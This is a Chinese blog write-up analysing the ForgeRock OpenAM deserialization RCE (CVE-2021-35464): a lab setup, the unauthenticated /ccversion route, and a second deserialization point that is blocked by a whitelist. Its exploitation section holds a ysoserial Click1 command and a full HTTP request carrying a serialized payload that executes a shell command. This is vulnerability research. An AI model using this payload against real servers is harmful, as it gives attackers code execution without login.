<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】ForgeRock OpenAM RCE(CVE-2021-35464)分析

    VSole2021-08-01 16:11:02

     

    漏洞描述

    2021年6月30日,國外安全研究人員披露了ForgeRock AM遠程代碼執行漏洞,漏洞編號為CVE-2021-35464。攻擊者可在無需認證的情況下,通過構造特殊的請求,觸發反序列化,從而執行任意代碼,接管運行ForgeRock AM的服務器。本文從漏洞挖掘的角度分析其中的技術細節,也將公開一些其他的反序列化點。

    環境搭建

    0x1 Docker 搭建

    直接使用官方提供的docker資源進行搭建,并開啟調試環境

    docker run  -d -p 7080:8080 -p 5005:5005 --name openam openidentityplatform/openam:14.6.2docker run -d -p 1389:1389 -p 1636:1636 -p 4444:4444 --name ldap-01 openidentityplatform/opendj
    

    0x2 添加依賴

    向IDEA中添加依賴

    0x3 開啟調試

    官方提供的Docker 容器不是root權限的用戶,里面也沒有sudo指令,我們要想辦法把權限提升到root才能有機會開啟調試配置

    openam@6eb4404f536b:/usr/local/tomcat$ cat /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinopenam:x:1001:0::/home/openam:/bin/sh
    

    通過查看/etc/passwd文件得知openam用戶的uid為1001,我們將其強制性修改成0,并利用docker cp指令進行替換,效果如下安裝一些必要的軟件vim等

    看目錄像是tomcat起的,所以開啟調試就很明確了,找打catalina.sh添加調試信息,添加此行配置

    顯示Connected則連接成功

    漏洞挖掘

    按照漏洞挖掘者的原話,分析web.xml中的每一個servlet,認真梳理其中的處理邏輯,跟著這個思路走,確實可以找到這個漏洞的路由,但是這樣正向分析起來工作量巨大。但如果實現知道危險函數所在的文件及函數會更方便漏洞挖掘工作。針對這個漏洞來講,我們只需要搜索readObject關鍵字就能找到這個漏洞點。

    首先將WEB-INF/lib目錄下的jar包全部解壓

    直接在命令行中搜索關鍵字readObject,會有搜索到很多相關的class文件

    嘗試打開其中的幾個文件

    openam-shared-14.6.3/org/forgerock/openam/utils/IOUtils.class ,該文件中存在deserialise函數,但是在反序列化的時候有白名單,因此尋找下一個類。

    關于這個路由的分析統一放在漏洞路由分析中講解。

    下一個匹配到的class是 jato-14.6.3/com/iplanet/jato/util/Encoder.class

    再次搜索關于Encoder類的調用,可以找到幾個相關聯的類,因為分析過以下幾個代碼,所以這里直接看ViewBeanBase代碼中的邏輯。

    ViewBeanBase.class代碼如下

    找到反序列化的入口后有兩個問題需要我們解決

    • 如何找到觸發漏洞的路由
    • 如何編寫反序列化利用鏈

    下面主要圍繞這兩個問題進行分析。

     

    漏洞路由分析

    如何才能通過前端訪問觸發該漏洞呢,這還是要結合著web.xml進行分析,在這個xml文件中定義了很多servlet,很多URL與之對應著。

    0x1 xml分析

    通過分析Servlet后,找到了感興趣的Servlet,比如這里以TaskServlet為例

    0x2 請求處理

    TaskServlet繼承ConsoleServletBase,對前端發送來的請求是父類的父類做的處理.

    可以清楚的看到ConsoleServletBase繼承ApplicationServletBase。

    ApplicationServletBase中包含get和post請求方法的響應代碼,最后都會調用processRequest進行統一處理。

    至此我們分析到了第一層請求處理邏輯,剩下還有很多路要走,先來看一下openAM怎么對路由進行權限校驗的。

    0x3 權限校驗

    通過分析ApplicationServletBase的processRequest處理函數,該函數在處理請求期間調用了fireBeforeRequestEvent函數,并且這個函數最終會調用onBeforeRequest函數。

    TaskServlet的父類ConsoleServletBase中有對onBeforeRequest的實現,并且在里面做了權限校驗。validateSSOToken里校驗了token的是否合法。

    0x4 未認證路由

    那么是不是存在一個路由的onBeforeRequest沒有校驗token呢,通過對每個servlet進行分析,確實找到了不同于ConsoleServletBase父類的類TagsServletBase。該servlet對應的路由為/ccversion/*

    那么它到底特殊在什么地方呢?通過查看代碼可以得知在父類ApplicationServletBase之前的子類都沒有實現onBeforeRequest方法,這就使得在調用onBeforeRequest方法時實則調用了ApplicationServletBase里的方法,然而ApplicationServletBase里onBeforeRequest方法是空函數。

    那么這個檢驗就可以輕易繞過了。

    0x5 動態分發

    分析到這都是靜態路由在處理,openAm在處理請求的時候大部分采用的動態Bean調用,我們一起來看看到底是怎么實現的。

    主要觀察上面代碼的381行和384行,通過getViewBeanInstance獲取到pageName對應的Bean實例,再用dispatchRequest方法將其分發,分發時執行的函數為forwardTo。

    問題是怎么獲取到這些Bean實例的,我們通過動態調試的方式一起分析下。

    getViewBeanInstance函數會調用getLocalViewBean函數去查找并生成viewBean

    getLocalViewBean函數就比較有意思,利用getHandlingServlet獲取當前線程運行的Servlet,判斷是否allowShortViewBeanNames字段之后進入if else分之,getBasePackageName函數會獲取調用者的包名,這里的調用者是VersionServlet其包名為com.sun.identity.console.version。

    getViewBeanByClassName會通過字符串的形式動態的加載類到內存中,但在加載之前會先判斷有沒有實例已經生成,如果有的話就會在nameInstanceMap中匹配到,就不需要通過Class.forName的方式去動態生成了。

    因此這個ViewServlet路由最終會調用執行com.sun.identity.console.version包下的*ViewBean代碼,這也就和之前的漏洞點串起來了,剩下的只需要考慮下如何進行利用了。

    漏洞利用分析

    再次回顧下此次漏洞點,通過Encoder.decodeHttp64函數進行解碼后,傳遞給Encoder.deserialize函數進行反序列化,反序列化代碼邏輯處沒有過濾,我們可以在項目中的jar包里搜索可利用的利用鏈。

    this.setPageSessionAttributes((Map)Encoder.deserialize(Encoder.decodeHttp64(pageAttributesParam), false));
    

    從項目的lib目錄中發現的幾個ysoserial中用來構造反序列化的jar包版本都對應不上,這就意味著要重新尋找個反序列化利用鏈。關于怎么找鏈以及怎么構造ysoserial Click1利用鏈,我打算開篇新的文章記錄下。

    0x1 生成利用鏈

    在進行漏洞利用的時候暫且直接使用集成在ysoserial工具里的Click1利用鏈。

    java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "touch /tmp/xx" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
    

    0x2 構造數據包

    GET /openam/ccversion/Version?jato.pageSession=AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAajyv66vgAAADMAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEADXRvdWNoIC90bXAveHgIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI4MTE5NjYyNDE4OTUwMDIBACBMeXNvc2VyaWFsL1B3bmVyODExOTY2MjQxODk1MDAyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMwAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_______________v____4AAAABdXEAfgAkAAAAAQF4eA HTTP/1.1Host: 192.168.0.106:7080User-Agent: curl/7.64.1Accept: */*
    

    后臺代碼成功接受數據并進行反序列化

    成功執行命令創建文件xx

    關于反序列化漏洞挖掘的方式,及路由回溯方法在其他分析中展開講解,這個漏洞的反序列化鏈編寫過程打算在下篇文章重點分析。

    其他分析

    為什么有這一小節呢?我再復現分析這個漏洞的時候嘗試性的對它開展了漏洞挖掘工作,其中找到了一個未認證反序列化,但是有白名單的限制,最后沒有利用成功。主要記錄下該反序列化點的挖掘及觸發過程。

    0x1 可疑的漏洞點

    借助之前搜索readObject的結果,我們可以發現這個帶有反序列化白名單校驗的類IOUtils.class,我一開始不知道其中有白名單校驗,就傻不愣登的開始分析了。

    0x2 觸發路由分析

    通過字符串搜索找到包含IOUtils且包含了deserialize的class文件,其中的分析過一遍后感覺RestrictedTokenContext比較有戲。

    RestrictedTokenContext主要是unmarshal方法調用了危險函數,我們需要繼續向上分析調用點

    通過相同的搜索方式找到了一些調用點其中SessionRequestHandler引起了我的注意

    通過審計SessionRequestHandler發現有一處觸發點,并且在之前未發現有校驗,那么剩下的問題就轉變成如何調用這個Handler進行處理。

    在之前分析servlet函數的時候有分析到pllservice

    它里面的請求包處理函數和Handler調用有著一定的聯系,粗略看來和xml解析有關,具體什么關系還是需要動態調試才能確定。

    0x3 動態調試確定數據包

    通過動態調試找到了獲取handler的關鍵代碼,如下圖所示。set.geteServiceID就是post數據中xml里的svcid值,我們可以控制。

    最為核心的代碼在getServiceHandler函數中,通過分析發現requestHandlers為已經加載的Handler,這個機制和ViewBean很相似。handler的生成在第150行進行,但之前要獲得handler的名稱,這個操作主要在WebtopNaming.getServiceClass中進行。

    getServiceClass函數是在config中尋找與之匹配的項,config中保存了所有的映射關系。

    映射關系如下,通過這個NamingTable可以很直觀的找到svcid為session時與之對應的handler為SessionRequestHandler。因此我們構造數據包也就有了著落。

    0x4 填充參數

    找到Handler的生成關系后,我們需要將反序列化的數據填充進去,這里主要是確定getRequester獲取的是什么數據。

    跟進發現該數據已經生成完畢了,我們需要做的是溯源路由,找到填充變量的那塊代碼。

    通過簡單的分析發現了在xml解析時,解析了elem的requester屬性,如果該屬性存在則賦值。

    那么剩下的就簡單了,構造一個符合代碼的xml數據包發送給后臺。這里需要注意的是requester參數里的內容要經歷兩次base64編碼。

    POST /openam/sessionservice HTTP/1.1Host: 192.168.0.201Connection: closesec-ch-ua: " Not;A Brand";v="99", "Google Chrome";v="91", "Chromium";v="91"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflateContent-Type: text/xmlAccept-Language: zh-CN,zh;q=0.9Content-Length: 5156
    <RequestSet vers="1.0" svcid="session" reqid="0"><Request>xxxx]]>Request>RequestSet>
    

    成功到達反序列化的地方,可是存在嚴格的白名單,目前沒有什么好的辦法。

    總結

    本文主要從如何挖掘該漏洞的角度分析這個漏洞的挖掘方式,后面將會用重點介紹這個漏洞利用方式。

    漏洞挖掘函數調用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    針對被分析目標程序,手工構造特殊輸入條件,觀察輸出、目標狀態變化等,獲得漏洞的分析技術。輸入包括有效的和無效的輸入,輸出包括正常輸出和非正常輸出。安全公告或補丁發布說明書中一般不指明漏洞的準確位置和原因,黑客很難僅根據該聲明利用漏洞。代碼流分析主要是通過設置斷點動態跟蹤目標程序代碼流,以檢測有缺陷的函數調用及其參數。
    在學習漏洞的時候,按照0Day2書中第24章第1節的內容進行學習的,這章本來是遠程拒絕服務的漏洞(CVE-2009-3103),但是當我在網上搜索這個漏洞的EXP時,意外的發現了Srv2.sys模塊中的另一個漏洞(CVE-2009-2532),而這個漏洞竟然可以實現遠程任意代碼執行,誒,這我就不困了,然后順手兩個漏洞一起分析了,把Srv2.sys模塊對數據包的接收處理過程逆向了一遍,了解了其中的漏
    沒有用戶資金損失,Aurora 迅速修復了這個錯誤,為每個人帶來了積極的結果。由于該漏洞被評估為嚴重級別,因此白帽公司已從 Aurora 獲得 600 萬美元的獎金,這是歷史上第二大賞金支出。許多 DeFi 協議是不同鏈的原生協議。
    前言接觸iot也快有一年的時間了,一年來也挖掘了大大小小幾十個洞,雖然能有些產出但是卻逐漸對人工審計感到無趣
    CVE-2021-24086漏洞分析
    2022-07-19 16:41:30
    漏洞信息2021年,Microsoft發布了一個安全補丁程序,修復了一個拒絕服務漏洞,編號為CVE-2021-24086,該漏洞影響每個Windows版本的IPv6堆棧,此問題是由于IPv6分片處理不當引起的。
    軟件漏洞分析簡述
    2022-07-18 07:08:06
    然后電腦壞了,借了一臺win11的,湊合著用吧。第一處我們直接看一下他寫的waf. 邏輯比較簡單,利用正則,所有通過 GET 傳參得到的參數經過verify_str函數調用inject_check_sql函數進行參數檢查過濾,如果匹配黑名單,就退出。但是又有test_input函數進行限制。可以看到$web_urls會被放入數據庫語句執行,由于$web_urls獲取沒有經過過濾函數,所以可以
    2021年十大漏洞利用
    2022-01-02 16:33:11
    本文總結了作者心目中的2021十大漏洞利用。
    在上周末的深育杯線上賽中,遇到了一個挺有意思的題目,叫 HelloJerry,考察的是 JerryScript 引擎的漏洞利用。
    企業安全規劃建設過程中,往往會涉及到開發的代碼安全,而更多可以實現落地的是源代碼安全審計中,使用自動化工具代替人工漏洞挖掘,并且可以交付給研發人員直接進行安全自查,同時也更符合SDL的原則,此外可以顯著提高審計工作的效率。
    ollvm反混淆學習
    2021-10-16 16:57:55
    在debug版中ollvm的特征非常明顯,一個分發器,和引用了這個分發器的真實塊。但經過編譯器優化后,分發器可能會變成多個,基本塊會合并造成虛假塊也可能會和真實塊合并,等等。這樣做也不能說能夠找到函數的所有分支。控制流塊的剔除采用了無名俠大佬對基本塊簽名的方法。將剩余的塊標記為真實塊,并使用模擬執行找出對應關系。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类